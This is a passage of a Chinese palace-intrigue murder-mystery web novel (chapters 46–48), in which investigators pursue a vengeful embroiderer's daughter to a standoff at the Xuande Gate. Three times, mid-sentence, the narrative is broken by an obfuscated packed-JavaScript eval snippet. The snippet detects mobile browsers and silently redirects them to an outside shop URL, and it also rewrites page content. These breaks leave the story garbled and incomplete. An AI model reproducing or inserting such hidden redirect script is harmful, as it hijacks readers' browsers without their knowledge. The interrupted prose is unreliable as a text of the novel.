周蔚凑近细看,迟疑道:“这金色偏暖,不像寻常赤金,倒像是九成金?” “正是九成金。”明荔肯定道,“寻常金饰多用七成金,硬度足,好塑形。但宫中贵人嫌七成金色淡,又嫌足金太软,便让将作监特调了九成金的方子,金九成,银半成,铜半成。色泽温润,又不易变形。” 她从箱中取出一枚银针,在金铃不起眼的接缝处轻轻一刮,刮下极细的金粉,置于白瓷碟中,滴入少许金水金粉缓缓溶解,溶液呈现独特的琥珀。 “这金铃,不但是内造,而且是天圣年间宫中高阶女官或得宠妃嫔才可能拥有的饰物。”明荔抬起眼,“赵月娥一个琴师,如何得来?” 周蔚脸色变了:“除非,她与宫中有旧。或者,这铃本就是别人的,暂存于她处。” “暂存……”明荔重复这个词,脑中忽然闪过一个画面,沈婆子衣襟里那绺头发,发根处的珍珠粉。 一个能自由出入宫,、熟悉尚服局用度,拥有特供丝线与九成金铃的女子。 她是谁? 明荔声音平稳,“立刻去查两件事,第一,天圣七年到九年,宫中是否有过一位擅长刺绣,且与沈云容年纪相仿的女官或妃嫔?第二,周太妃宫中近身侍奉的女官名录,尤其注意那些籍贯江,或与绣坊有关联的。” “是!” 周蔚匆匆离去。明荔重新拿起第五双鞋,这一次,她的目光落在鞋内底,那层纳了九层的千层底上。 寻常千层底,为了柔软,层与层之间会刷薄浆。但沈家绣坊的秘法,是在第三层与第四层之间夹入一层特制的软革,以增加回弹。这秘密,还是当时在江宁同绣坊绣娘磨了半日才知。 明荔取来小刀,沿着鞋底边缘,小心地剖开纳线。 一层,两层,三层…… 这是? 她屏住呼吸,用镊子夹出那层绢。 绢只有巴掌大,上面以朱砂画着一幅小像。画中是个年轻女子,穿着宫装,坐在绣架前,侧脸温柔。女子发间簪着一支桃花玉簪。 小像右下角,有一行小字: “天圣八年春,云容姊为余绣小像,甚喜。今姊蒙冤,余必雪之。然身困深宫,力有未逮。若余不测,见此像者,当知云容姊冤屈,皆因周氏构陷。周氏命人纵火时,余在窗外亲见。画此为证。” 落款是两个字: 婉仪 婉仪。 宫中嫔妃位份,正四品。 明荔的手中的镊子掉在了桌上,心中生了个不好的念头。 / 雪还在下,大理寺正堂内,谢知津面前的舆图已用朱笔标出十七个红圈,全是城北废弃的仓房、窑洞、水闸。每处都派了人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你看这鞋的尺寸。”他拿起第五双鞋,“前四双都是成人女鞋,尺码相仿。但这双,明显小一些,更像十五六岁少女的脚。” 明荔接过鞋比对,确实小了一分。 “沈念云若还活着,今年该二十出头。”谢知津缓缓道,“但这双鞋,像是她几年前穿的。她保留至今,并在关键时刻拿出,是因为这双鞋里,藏着她母亲和另一位恩人用性命留下的证物。” 明荔恍然,“她是在展示,向所有追查此案的人展示,当年的真相就在这里。” 话音未落,堂外传来莫以新急促的声音:“寺卿,宫中有变!” 一名太监装扮的人随周蔚疾步而入,面色惨白,是周太妃宫中的内侍王怀。 “谢寺卿,”王怀扑通跪倒,声音发颤,“太妃……太妃今晨清醒了片刻,让奴婢务必传话给您。” “什么话?” 王怀从怀中掏出一块帕子,里面裹着一枚玉扳指。扳指内侧刻着一个娴字。 “太妃说当年纵火之事,她知情,但并非主谋。真正下令的,是,是当时的太后。”王怀压低声音,“太后因沈云容绣了一幅龙凤颠倒图。龙在下,凤在上,视为大不敬,故命周氏处置。周氏本只想将沈云容秘密处死,但太后说绣坊之人皆可能知情,一个不留。” 谢知津握紧了扳指:“那幅图,现在何处?” “太妃说,图被太后收走,后赐给了,给了当时还是皇子的今上。” 今上。 当今天子。 堂内一片死寂。 雪落在窗棂上,沙沙轻响。 许久,谢知津才开口:“太后为何要将这等不祥之物赐给今上?” “太妃说,太后是提醒今上,皇权之上,不可有女权僭越。”王怀的声音越来越低,“可今上登基后,一直暗中寻访沈云容后人,似乎对此事心有芥蒂。” 谢知津与明荔对视一眼。 天子寻访沈云容后人,是为了补偿,还是为了,灭口? “还有一事,”王怀又道,“太妃昏迷前反复说一句话:金铃一响,旧债难偿。婉仪误我,我误婉仪。” 婉仪。 林婉仪。 谢知津立刻问:“林婉仪之死,与周太妃有关?” 王怀摇头:“奴婢不知。但太妃宫中有些旧物。奴婢今早偷入,发现里面有一卷林婉仪的手札,还有一双缀着金铃的绣鞋。” 金铃绣鞋。 谢知津猛地站起:“鞋在哪里?” “奴婢怕被发现,只匆匆看了一眼。鞋是红色的,鞋尖缀着金铃,样式,与寻常宫鞋不同,倒像是舞鞋?” 舞鞋。 明荔忽然想起,赵月娥是琴师。 琴师常为舞姬伴奏,对舞鞋再熟悉不过。 谢知津语速快如疾风,“莫以新,你立刻随王怀入宫,以查案之名,请见周太妃,务必取回那卷手札和那双鞋。记住,要光明正大,不得暗取。” “是!” 莫以新与王怀匆匆离去。谢知津转向明荔:“明荔,我们得去个地方。” “哪儿?” “教坊司。”他抓起佩刀,“赵月娥是琴师,常出入教坊。若那双金铃绣鞋真是舞鞋,教坊司的旧人,或许认得。” 47. 第 47 章 雪越下越大,御街上的灯架被雪覆成一道道白脊。 教坊司在城东南,与皇城只一墙之隔。虽是官署,却因涉及乐舞,平日里笙歌不断。今日因大雪,倒是安静了许多。 谢知津亮出腰牌,掌事姑姑不敢怠慢,将他们引至后堂。 “金铃绣鞋?”掌事姑姑五十上下,在教坊待了半辈子,闻言蹙眉,“大人说的是惊鸿铃吧?” “惊鸿铃?” “是。天圣年间,宫中排演《霓裳羽衣曲》,有位林娘娘舞技超群,尤擅惊鸿舞。她特意让尚服局制了一双舞鞋,鞋尖缀九颗小金铃,舞动时铃音与乐声相和,如鸿雁清唳。”掌事姑姑回忆道,“那位林娘娘,就是后来的林婉仪。” 明荔心下一动:“那双鞋,后来可还在?” “林婉仪病故后,她的物件大多收归内库。但那双惊鸿铃奴婢记得,好像被一位琴师讨了去。” “哪位琴师?” “姓赵,叫赵月娥。”掌事姑姑肯定道,“她是林婉仪入宫前的闺中密友,琴艺是林婉仪亲手教的。婉仪去后,她离宫入了教坊,后来不知怎的又去了清音阁。三年前,她来找奴婢,说想留件婉仪的旧物作念想,奴婢便将那双鞋给了她。” 赵月娥。 她不仅认识林婉仪,还是她的至交。 所以金铃在她手中,合情合理。 可凶手预告的倒悬示众,脚上要穿的,正是金铃绣鞋。 那双鞋,现在在谁手里? 谢知津忽然问:“姑姑可还记得,赵月娥来取鞋时,可有旁人同行?” 掌事姑姑思索片刻:“有。是个年轻姑娘,戴着帷帽,说是赵娘子的徒弟,来帮忙拿东西的。奴婢没看清脸,只记得那姑娘身上有股花香。” 花香? 明荔猜测,赵月娥的徒弟,很可能就是沈念云。她通过赵月娥接近林婉仪的遗物,拿到金铃绣鞋,并最终将它作为最终仪式的一部分。 而赵月娥,或许一开始是自愿帮忙,直到发现沈念云要杀的人,也包括她曾侍奉的林家女儿柳氏,才想抽身,却已来不及于是被灭口。 “姑姑,”明荔轻声问,“林婉仪当年,究竟是怎么病故的?” 掌事姑姑脸色微变,四下看了看,压低声音:“这话本不该说,但婉仪去得确实蹊跷。那日她还好好的,在园中赏梅,突然就晕倒了。太医说是急症,可奴婢后来听伺候的宫人说,婉仪晕倒前,喝了一盏周娘娘送来的暖身汤。” 周太妃。 又是她。 谢知津与明荔交换了一个眼神。 离开教坊司时,雪已积了半尺厚。马车在雪中艰难前行,万家灯火次第亮起,炊烟在雪幕中袅袅升起,一片太平景象。 腊月廿七,寅时三刻。 旧酸枣门外的废砖窑像一头蹲伏在雪夜里的巨兽。 窑顶的积雪在月光下泛着青白的光,窑口黑洞洞的,偶尔有细微的光从砖缝里漏出来,又迅速隐去。 谢知津伏在五十步外的荒草丛中,身侧是明荔和十二名精挑的衙役。雪已经停了,但风刮得更紧,吹得枯草簌簌作响。 “里面至少有两人,”昨夜,莫以新带暗卫查到了孙清荷的动向,暗哨压低声音,“一个时辰前,有女子哭声,不过很快就停了,之后便再无声响。” 谢知津不错眼珠的盯着窑口。 窑门半掩,门缝里透出的光极微弱,像是被刻意遮掩过。他抬起手,做了几个手势三人绕后堵住窑后通风口,四人分守两侧,其余人随他正面突入。 衙役们无声散开。 一切都准备好后,他率先跃起,一脚踹开窑门,冲入窑内。 窑里很暗,只有一盏油灯放在角落,灯芯剪得很短,勉强照亮方圆几步。正中央的地上,铺着一床破旧的棉被,被子上躺着一个女子。 孙清荷。 她穿着那件孔雀罗的披风,双手双脚被麻绳捆缚,嘴里塞着布团,眼睛紧闭,一动不动。脖颈处,有一道醒目的紫红色淤痕。 明荔快步上前,蹲下身探她鼻息,“还有气。” 她迅速解开孙清荷的衣襟检查,脖颈的淤痕很新,是两三个时辰前形成的,但皮下出血轻微,不足以致命。 “是被掐昏的,但手下留了分寸。”她边说边取出银针,刺入孙清荷的人中穴。 孙清荷喉间发出一声轻响,眼皮微颤,却未睁开。 谢知津举灯环视窑内。 窑壁上有斑驳的血迹,墙角堆着些杂物:一个缺口的瓦罐,几捆干草,还有一双沾满泥的红绣鞋。 不是金铃那双,是与前三起案子一样的鞋。 鞋边,放着一张叠成方胜的纸。 “第一局,你赢了。她在西边水闸。但去之前,不妨看看她怀里。” 字迹潦草,与之前娟秀的笔迹截然不同,像是仓促间用左手写的。 明荔立刻检查孙清荷的衣襟,在披风内袋里,摸到一个硬物。 是个小小的瓷瓶,瓶塞用蜡封着。她小心打开,瓶内是半透明的膏体,散发出一股刺鼻的辛辣气。 “是蚀骨膏,”明荔脸色发白,“沾肤即溃,若抹在绳结上,人质挣扎时,皮肉会被腐蚀。” “寺卿,水闸那边有发现。”一名衙役道。 “周蔚,”谢知津转向身边最得力的属下,“你带五人,护送孙小姐回府,请太医诊治。其余人,随我去水闸。” “我也去。”明荔站起身,将瓷瓶封好放入箱中。 “太危险。” “若有人受伤,我能救。”明荔眼神坚定,“况且,我懂药性,万一她再用毒。” 谢知津沉默片刻,点头:“那你,跟紧我。” 一行人冲出砖窑,踏着半尺深的积雪,向西奔去。 旧酸枣门西侧,是汴河的一条支流,早年为了调节水位建了座水闸,后来河道改道,水闸废弃,只余下石基和锈蚀的闸门。 雪地里的脚印很凌乱,有深有浅,像是多人踩踏过。 但在距离水闸百步远的地方,脚印突然分成两路,一路继续向西,另一路折向北方,消失在乱石堆后。 “分头追?”有人问。 “不。”谢知津蹲下身,细看那两路脚印。 向西的脚印深而清晰,踏雪有力,像是男子。向北的脚印却浅而飘忽,步幅很小,像是女子,且跛足。 他忽然想起,第五双红绣鞋的尺寸偏小,鞋底磨损的痕迹也特殊,脚后跟处的磨损,比前掌严重得多。 凶手可能腿脚有旧伤。 “向北。”谢知津做出决定,“但留两人在此,若有异动,发响箭为号。” 脚印在乱石堆中蜿蜒,时而清晰时而模糊,像是故意在绕路。追出约莫一里地,眼前出现一座废弃的土地庙。 庙很小,只剩半间屋顶,门板歪斜地挂在门框上。庙内,有微弱的火光晃动。 谢知津示意众人散开围住,自己缓步上前,轻轻推开门。 庙里空无一人。 只有地上生着一小堆火,火上架着个瓦罐,罐里煮着东西,咕嘟咕嘟冒着泡。空气里弥漫着一股药草味,明荔说,那是疗伤用的续断汤。 火堆旁,整整齐齐摆着两样东西。 一件是孙清荷的发簪,孔雀羽点翠,是她常戴的那支。 另一件,是一卷画轴。 画纸泛黄,边缘有烧灼的痕迹。画上是一幅刺绣图样,龙在下,凤在上,龙凤交缠,云纹翻滚。 正是当年太后视为大不敬的龙凤颠倒图。 在图样的右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986729|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下角,有一行小字题跋: “天圣八年七夕,奉太后懿旨,为东宫绣此图,以警女诫。绣娘沈云容恭绘。” 太后的懿旨。 为东宫而绣。 谢知津盯着那行字,只觉得一股寒意从脊背升起。 如果这幅图真是奉太后之命所绣,那所谓大不敬的罪名,就是彻头彻尾的构陷。太后先命沈云容绣图,再以僭越之名将她处死,为何? 东宫。 当时的太子,并非今上。 今上是三皇子,天圣九年才被立为储君。 而原太子,在天圣八年冬,因失德被废。 时间全都对上了。 太后命绣龙凤颠倒图,是为了制造废太子的借口?还是为了警告当时的皇后。 “寺卿,”明荔的声音打断他的思绪,“你看这个。” 她指着火堆旁的灰烬,有几片未烧尽的纸屑,上面能辨认出零星的文字: “……周氏纵火……林婉仪知……太后赐死……今上……” 话音未落,庙外突然传来一声惨叫。 是留守水闸那边的衙役! 谢知津冲出庙门,只见东南方向升起一道红色焰火。是响箭,紧急求援的信号。 “回水闸!” / 水闸边的情景,让所有人都倒吸一口凉气。 留守的两名衙役倒在地上,一人颈部中刀,血流如注,已无气息。另一人肩头插着一支弩箭,箭身漆黑,显然是淬了毒。 明荔立刻上前救治伤者,谢知津则看向水闸深处,闸门的铁栅栏后,隐约可见一个人影。 是个女子,背对着他们,坐在闸门的石阶上。她穿着一身素白衣裙,长发披散,赤着脚。脚边,放着一双红绣鞋。 金铃绣鞋。 谢知津拔刀,缓步靠近。 “沈念云。”他沉声道。 女子没有回头,只是轻轻晃了晃脚。鞋尖的金铃发出清脆的响声,在空旷的水闸间回荡。 “谢寺卿,”她的声音很轻,带着江南口音,“你来得比我想的快。” “孙清荷在哪?” “孙小姐?”女子轻笑,“她不是已经被你救走了吗?” “砖窑里那个是假的。”谢知津刀尖指地,“她脖颈的淤痕是伪造的,真正的扼痕,拇指印在喉结右侧,但她的淤痕左右对称,是用模具压出来的。” 女子沉默了。 许久,她才缓缓转过身。 那是一张清秀但苍白的脸,年纪约莫二十,眉眼间依稀能看出沈云容小像上的影子。但她的左脸颊,有一道陈年的疤痕,从眼角延伸到下颌,像是被火燎过。 “你比你父亲聪明。”沈念云看着他,“当年他查我母亲失踪案,只查到悬案二字,便不再深究。” “你认识我父亲?” “天圣九年,他奉旨查宫中大火案,曾来江宁问询。”沈念云站起身,赤脚踩在冰冷的石阶上,“我那时躲在水井里,听见他和衙役的对话。他说‘此案水深,不可再查’。那一年,我六岁。” 她一步步走下石阶,金铃随着她的步伐叮当作响。 “后来我知道,他不是不想查,是不能查。因为下令灭口的是太后,纵火的是周氏,知情的是林婉仪这些人,他一个都动不了。” 谢知津握紧了刀柄:“所以你现在要动他们。” “不。”沈念云摇头,“我要动的,是他们的血脉。太后死了,周氏死了,林婉仪也死了。但她们的子孙,还在享福,用我母亲的血,染红的福。” 她走到铁栅栏前,与谢知津隔栏相望。 “李家的女儿,林家的妾室,陈家的如夫人,她们凭什么活得好好的?她们的母亲,当年可曾为我母亲说过一句话?” 48. 第 48 章 “孙清荷呢?”谢知津问,“周氏是周氏,她母亲周玉茹并未参与当年之事。” “可周玉茹享受了周家的一切,诰命,富贵,地位,哪一样不是用我母亲的命换来的?”沈念云的眼神骤然凌厉起来,“她女儿更不该活着!周家的血脉,都该断!” “你疯了。” “我是疯了。”沈念云笑了,笑容惨淡,“从我在水井里躲了三天三夜,听着我母亲在火里惨叫的时候,我就疯了。从我知道自己脸上这道疤永远去不掉的时候,我就疯了。” 她抬手轻抚脸上的疤痕:“这疤,是那天晚上,一根着火的房梁掉下来烫的。我疼晕过去,醒来时,已经在赵月娥的船上了。她告诉我,我母亲死了,绣坊七口人都死了。而害死她们的人,还在宫里享福。” “所以赵月娥帮了你。” “她是我母亲在宫中唯一的朋友。”沈念云垂下眼,“林婉仪死后,她一直暗中照应我。她教我琴艺,给我身份,让我能以宋绣娘的身份活下去。可她没想到,我要的不是活下去,是报仇。” “所以你就连她也杀。” “我没想杀她!”沈念云猛地抬头,眼中第一次出现情绪的波动,“我只想让她帮我接近那些人,可她发现我要杀林家的妾室,就反悔了。她要告发我,我,我只能让她闭嘴。” “那李氏、赵氏呢?她们也是赵月娥帮你杀的?” “李氏是我亲手杀的。”沈念云的声音冷了下去,“她女儿当年靠我母亲的绣品入了宫,成了嫔妃,却在宫里处处打压林婉仪。她女儿死了,她就该偿命。” “赵月娥的死,是个意外。”她顿了顿,“她发现了我的计划,要挟要钱。我给了她钱,可她贪得无厌我只能处理掉她。” “用同样的手法,穿上红绣鞋,是为了制造连环案的假象。” 沈念云的目光紧锁在谢知津身上,“二十年前的债,现在该还了。” 远处传来嘈杂的人声,是周蔚带着援兵赶到了。 沈念云后退一步,重新坐回石阶上。 “谢寺卿,你以为你赢了?”她轻笑,“孙清荷确实不在我这里。她在更安全的地方一个你们绝对想不到的地方。” “哪里?” “你猜。”她晃了晃脚上的金铃,“上元夜,子时,宣德门。我会穿着这双鞋,当着全城百姓的面,将她倒悬在城门上。到时候,你们自然知道她在哪。” “你逃不掉的。”谢知津上前一步,“这座水闸已被包围。” “我知道。”沈念云从怀中取出一个小瓷瓶,拔掉塞子,将里面的液体倒在脚边的绣鞋上。 液体遇到空气,迅速挥发,散发出刺鼻的气味。 是火油。 “你要做什么?!”谢知津厉喝。 “谢寺卿,我从小在火里活过一次。”沈念云取出火折子,轻轻一晃,火苗窜起,“我不怕再死一次。但我死之前,得让你们记住。” 她将火折子扔向绣鞋。 火焰轰地腾起,瞬间吞没了那双金铃绣鞋。火光映在她脸上,疤痕扭曲如鬼魅。 “记住我母亲的名字,沈云容。记住她是怎么死的,记住那些人是怎么害她的。” 火越烧越旺,开始向她身上蔓延。 谢知津一刀劈开铁栅栏的锁,冲进去想拉她出来。 但沈念云猛地推开他,转身跃入了水闸深处的暗河。 “噗通”一声,水花溅起。 等谢知津冲到闸边,只见漆黑的水面上,涟漪正一圈圈荡开,人已不见踪影。 只有那双燃烧的绣鞋,在石阶上烧成焦黑的残骸。 / 回到大理寺时,天已蒙蒙亮。 沈念云跳入暗河后,衙役们沿下游搜寻了十里,一无所获。那条暗河连通主道,四通八达,她很可能早已从某处出水口逃走了。 谢知津坐在正堂,面前摊着那卷龙凤颠倒图和未烧尽的纸屑。明荔在一旁整理证物,将那双烧毁的金铃绣鞋残骸小心封存。 “她在试探我们。”谢知津忽然开口。 “什么?” “试探什么?” “试探我们知道多少。”谢知津指向那卷图,“如果这幅图真是太后懿旨所绣,那当年之事涉及的就是宫闱秘辛。我们查到这一步,就该止步了。因为再查下去,牵扯的就是今上。” 明荔倒吸一口凉气:“你是说沈念云故意抛出这个线索,是想逼我们收手?” “或者,是想逼某个人现身。”谢知津站起身,走到舆图前,手指点在宣德门的位置,“她一再强调上元夜、宣德门、当众处决。这不是复仇,这是表演,演给全城百姓看,更是演给宫里看。” 堂外传来脚步声,周蔚快步而入,手中捧着一个锦盒。 “寺卿,今早宫门刚开,这个就送到了大理寺门房。指名交给您。” 谢知津打开锦盒。 里面是一张请柬。 烫金的纸面,朱砂印玺,是宫中最高规格的观礼帖。请柬上写着: “谨请大理寺卿谢知津,于上元夜亥时三刻,登宣德门城楼,共赏灯会,同沐天恩。” 落款处,盖着一方私印: “端静” 端静。 周太妃的封号。 可周太妃不是还病重卧床吗? 谢知津翻过请柬,背面用极细的笔写了一行小字: “欲救孙氏女,戌时独自登楼。过时不候。” 字迹娟秀,与之前所有字条一模一样。 沈念云的笔迹。 可她怎么能用周太妃的请柬?又怎么能盖上周太妃的私印? 除非…… 谢知津和明荔对视一眼,都从对方眼中看到了那个可怕的猜测。 除非沈念云,一直藏在宫里。 以某种身份,藏在周太妃身边。 所以她能长期对周太妃下药,能拿到宫中特供的丝线,能自由出入尚服局,能用周太妃的印。 “周蔚,”谢知津声音嘶哑,“立刻去查,周太妃宫中所有女官、宫女,尤其是一月内新入宫的,或者脸上有疤的。” “寺卿,”周蔚脸色发白,“周太妃宫中,确实有位新来的司药女官,姓宋,说是江宁来的,精通药理。她脸上确实有块疤,说是小时候烫的。” 一切都对上了。 宋绣娘就是宋司药。 “她在宫里……”明荔喃喃,“那孙清荷……” “很可能也在宫里。”谢知津捏紧了请柬,“最危险的地方,就是最安全的地方。谁能想到,被劫持的官家小姐,会被藏在皇宫大内?” 周蔚迟疑道:“寺卿,若真如此,我们如何进宫搜查?没有圣旨,擅闯宫禁是死罪。” 谢知津沉默。 许久,他缓缓道:“不需要搜查。她既然邀我赴约,我就去。” “可是戌时独自登楼……” “我必须去。”谢知津打断他,“这是唯一的机会。” 他看向明荔:“郡主,我要你去做一件事。” “什么?” “去找一个人。”他将一封密信交给她,“把这封信,亲手交给这个人。告诉他一切。若我戌时后没有回来,就按信中所说行事。” 明荔接过信,信封上没有一个字。 “给谁?” 谢知津附耳,说了一个名字。 明荔瞳孔骤缩:“他?可是……” “没有可是。”谢知津拍了拍她的肩,“这是我最后的棋。若这步棋也输了,那就真的满盘皆输。” 窗外,晨光刺破云层,照亮了京州的千家万户。 腊月廿七了。 距离上元夜,只剩一天。 而这场棋局,终于走到了最后的对弈。 谢知津望着宣德门的方向,心里五味杂陈。 他独自走在石阶上,腰间佩刀,手中提着盏素纱灯笼。 门内是城楼内侧的观礼台,平日只有帝王与重臣可登临。 此刻,偌大的平台上空无一人,只正中摆着一张紫檀木椅,椅上端坐着一名女子。 孙清荷。 她穿着那身孔雀罗披风,梳着精致的发髻,面上施了薄粉,唇点朱红,像一尊精心装扮的人偶。但她的眼睛被黑布蒙着,双手反剪绑在椅后,嘴里塞着绢帕。 而在她脚边,整整齐齐摆着一双绣鞋。 金铃绣鞋。 谢知津的目光扫过平台四周,飞檐下悬挂的宫灯在夜风中摇晃。 他想,暗处一定有眼睛在盯着。 “沈念云。”他唤了一声。 无人应答。 谢知津走到孙清荷面前,俯身检查。她呼吸平稳,脉搏正常,只是昏睡着。他伸手想解她眼上的黑布,手指刚触到布边,听到远处有声音传来。 “别动她。” 声音从门处传来。 一道纤瘦的身影坐在城墙上搁置的箱子上,双腿悬空,裙摆在夜风中猎猎作响 是沈念云。 她换了一身宫装,素白色的褙子,青罗裙,头发绾成简单的髻,簪着一支桃花簪,正像明荔在大相国寺捡到的那支。 月光照在她脸上,那道疤痕在阴影中显得愈发狰狞。 “谢寺卿果然守时。”她轻轻晃了晃悬空的脚,脚上穿着另一双金铃绣鞋。 “你想怎样?”谢知津站直身体,手按在刀柄上。 “不想怎样。”沈念云的声音很轻,几乎要被风声吹散,“只想请你看一场戏。” “什么戏?” “倒悬之刑。”她抬起手,指向孙清荷,“你说,若我将她从这里倒吊下去,悬在宣德门正中央,底下万千百姓抬头仰望,会是什么景象?” 谢知津心中一凛:“你逃不掉的,城楼上下都已布满人手。” “我知道。”沈念云笑了,“但若我根本没想逃呢?” 她从怀中取出一个火折子,轻轻一晃。火苗窜起,照亮她半张脸。 “这城楼上,我埋了二十四处火药引线。”她轻声道,“引线连着孙小姐座下的机关,只要我一松手,火折子落下,火药会从宣德门正中开始爆炸,一路炸到御街尽头。上元夜的汴京,将变成一片火海。” 谢知津的呼吸滞住了。 “你疯了吗?!底下是无辜百姓!” “无辜?”沈念云的笑声陡然尖利,“二十年前,我母亲不无辜吗?绣坊那七口人不无辜吗?可有人在意过他们的生死?!” “太后为一己私欲构陷我母亲,周氏为讨好太后纵火灭口,林婉仪知情不报只求自保这些高高在上的人,手上沾的血,比谁都多!可他们活得风风光光,他们的子孙享尽荣华!凭什么?!” “所以你就要拉全城百姓陪葬?” “陪葬?”沈念云摇头,“不,我是要让他们看清楚,看清楚这繁华汴京,这太平盛世,底下埋着多少冤魂,多少血债!” 她从怀中取出一卷纸,展开。 月光下,谢知津认出那是龙凤颠倒图的图样。 “这幅图,是当年太后命我母亲绣的。”沈念云的声音忽然平静下来,“可你知道吗?太后要这幅图,不是为了构陷我母亲是为了警告当时的皇后,也就是废太子的生母。” 她顿了顿,一字一句道: “因为废太子,根本不是先帝的血脉。” 夜风呼啸,谢知津站在原地,只觉得浑身血液都凉了。 “你说……什么?” “废太子是皇后与侍卫私通所生。”沈念云的声音冰冷,“太后早就知道,但苦无证据。直到她发现皇后暗中命我母亲绣龙凤颠倒图,想以此暗示天命在女,为日后干政铺路这才抓到了把柄。” “太后将计就计,让我母亲绣完图后,以僭越之名将她下狱,逼她指认皇后谋逆。我母亲不肯,太后便命周氏纵火灭口,伪装成意外。” “你怎么知道这些?”谢知津的声音发紧。 “因为我母亲没死在大火里。”沈念云讽刺一笑,“她被周氏的人从火场拖出来,关进了冷宫地牢。太后要留着她,作为日后扳倒其他政敌的棋子。她在那里被关了五年,直到今上登基。” 今上。 三皇子,如今的皇帝。 “今上还是皇子时,曾误入冷宫,遇见了我母亲。”沈念云的声音低了下去,“我母亲将真相告诉了他,并求他救自己出去。今上答应了,但他需要时间谋划。” “然后呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994763|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “然后我母亲死了。”沈念云轻笑,笑声里满是凄凉,“死在地牢里,被人用白绫勒死。尸体被扔进枯井,对外只说病故。今上登基后,曾暗中寻访,但找到的只有枯井里的白骨。” 她望向皇城的方向,眼神空茫。 “哦对了,还有明郡主的双亲,@若不是参与谋划到营救我母亲的行动里,他们也不会死,你也不会和郡主分离三年。” 谢知津终于明白了。 所有的仇恨,所有的执念,都源于此。 沈念云恨的不只是周氏、林家、陈家。 她恨的是整个吃人的宫闱。 恨的是那些为了权力可以随意践踏人命的人。 “我要在今夜,让全天下人都知道知道这皇城金瓦之下,埋着多少肮脏秘密;知道那些道貌岸然的贵人,骨子里有多龌龊!” “谢寺卿,”沈念云看着他,“我给你两个选择。第一,你现在转身离开,我引爆火药,让京州今夜化为火海。第二……” 她顿了顿,指向孙清荷: “你亲手杀了她。” 谢知津瞳孔骤缩:“什么?” “孙清荷是周氏血脉,她的存在,就是对我母亲的羞辱。”沈念云的声音冷酷如刀,“你若亲手杀了她,我就放过底下百姓。一命,换万命。很划算,不是吗?” 风又起了,吹得宫灯剧烈摇晃。 光影交错中,孙清荷似乎动了一下,发出细微的呜咽。 谢知津握紧了刀柄,手背上青筋凸起。 杀人。 还是屠城。 这是一个疯子出的选择题。 可疯子手里,握着全城人的性命。 “你做不到,对吗?”沈念云笑了,“因为你是个好官,你信奉律法,你讲究程序正义。可你知不知道,当年那些害死我母亲的人,就是利用了律法的漏洞,利用了权力的庇护,才能逍遥法外二十年!” 她的声音陡然拔高,在夜风中撕裂: “律法保护不了弱者!正义永远迟到!只有血,才能洗净血债!” 话音未落,她手中的火折子突然脱手,向下坠落。 谢知津想也没想,纵身扑去。 火折子在空中划出一道弧线,落向孙清荷脚边那堆看似杂乱的干草里。 他抢在火折子落地前,一把抓住。 火焰灼痛了掌心,但他死死攥着,直到火苗熄灭。 几乎同时,一道身影从暗处掠出,直扑沈念云。 是明荔。 孙清荷睁开眼睛,看见眼前景象,吓得浑身发抖,“救我。郡主救我?” “带她走!”谢知津对明荔喝道,同时拔刀,斩向沈念云。 刀光如雪,映着漫天灯火。 沈念云不躲不避,反而迎了上来。她手中多了一柄短剑? 刀剑相交,发出刺耳的铮鸣。 谢知津这才发现,沈念云的武功极高,身法诡异,完全不似寻常女子。她的剑路狠辣刁钻,每一招都奔着要害,显然是受过严苛的训练。 “你在哪儿学的武?”他格开一剑,沉声问。 “冷宫地牢。”沈念云冷笑,“我五岁到十岁,都在那里度过。看守我的老太监,是前朝大内高手,他可怜我,教我武功,说这世道,女子唯有自己强,才不会被欺负。” 她剑势一变,如毒蛇吐信,直刺谢知津心口。 谢知津险险避过,刀锋斜掠,削向她手腕。 两人在狭窄的屋脊上缠斗,脚下是三十丈高的虚空,稍有不慎便是粉身碎骨。夜风呼啸,吹得衣袂猎猎作响 彼时明荔已带着孙清荷退到楼梯口,但孙清荷腿软得走不动,她只得半扶半抱,艰难向下挪。 “别管我……”孙清荷终于能出声,声音嘶哑,“去帮谢大人……” 明荔回头看了一眼。 只见她向后倾倒,像一片落叶,坠向三十丈下的御街。 谢知津想抓住她,但只撕扯到一片衣袖? 谢知津趴在城墙上,看着底下乱成一团的人群,看着侍卫们涌向坠落点,看着灯火依旧辉煌的汴京。 一切都结束了。 “她说的那些……是真的吗?” 谢知津没有回答明荔。 他也不知道答案。 或者说,他不敢知道。 / 三日后,正月十八。 大理寺正堂,案上摆着结案卷宗。 沈念云的尸体已验过,确认是坠亡。她脸上的疤痕是真的,是幼年烧伤所致。体内有多种毒物残留,有些是长期服用曼陀罗粉所致,有些是试药留下的。 她在周太妃宫中住的房间被搜查,找到大量证据:与赵月娥往来的书信、伪造的身份文牒、绘制精细的汴京地图、还有一本日记。 日记从她十岁开始记,一直记到坠楼前三天。 最后一页写着: “腊月廿七,晴。见谢寺卿,如见其父。谢家人都有一双干净的眼睛,可惜,这世道容不下干净。上元夜,一切该了结了。母亲,女儿来陪你了。” 谢知津合上卷宗,看向堂下。 孙清荷已痊愈,此刻正由父亲陪着,来听结案。她脸色还有些苍白,但眼神清明了许多。 